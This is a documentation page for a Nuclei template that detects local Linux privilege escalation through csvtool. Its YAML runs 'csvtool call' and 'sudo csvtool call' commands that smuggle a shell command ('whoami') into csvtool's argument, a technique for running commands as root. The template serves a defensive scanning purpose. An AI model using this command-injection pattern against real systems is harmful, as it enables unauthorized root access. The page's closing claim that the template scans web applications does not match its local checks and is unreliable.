csvtool - Privilege Escalation
ID: privesc-csvtool
Severity: high
Author: daffainfo
Tags: code,linux,csvtool,privesc,local
Description
Section titled “Description”csvtool is a command-line utility in Unix-like operating systems that provides various tools for working with CSV (Comma-Separated Values) files. It can be used to manipulate, process, and analyze CSV data from the command line, making it a useful tool for tasks such as data extraction, transformation, and loading.
YAML Source
Section titled “YAML Source”id: privesc-csvtool
info: name: csvtool - Privilege Escalation author: daffainfo severity: high description: | csvtool is a command-line utility in Unix-like operating systems that provides various tools for working with CSV (Comma-Separated Values) files. It can be used to manipulate, process, and analyze CSV data from the command line, making it a useful tool for tasks such as data extraction, transformation, and loading. reference: - https://gtfobins.github.io/gtfobins/csvtool/ metadata: verified: true max-request: 3 tags: code,linux,csvtool,privesc,local
self-contained: truecode: - engine: - sh - bash source: | whoami
- engine: - sh - bash source: | csvtool call 'whoami;false' /etc/passwd
- engine: - sh - bash source: | sudo csvtool call 'whoami;false' /etc/passwd
matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true
- type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' condition: or# digest: 4a0a0047304502202ecc809ea8ef96406ee94772f5ce8d04173c1a8419e6fd8ddef7aec0f71a3a2f022100d852e71d5fd4a2702db041b721872c24b773946b0970e3e3742f35be4d08b9d5:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/privilege-escalation/linux/binary/privesc-csvtool.yaml"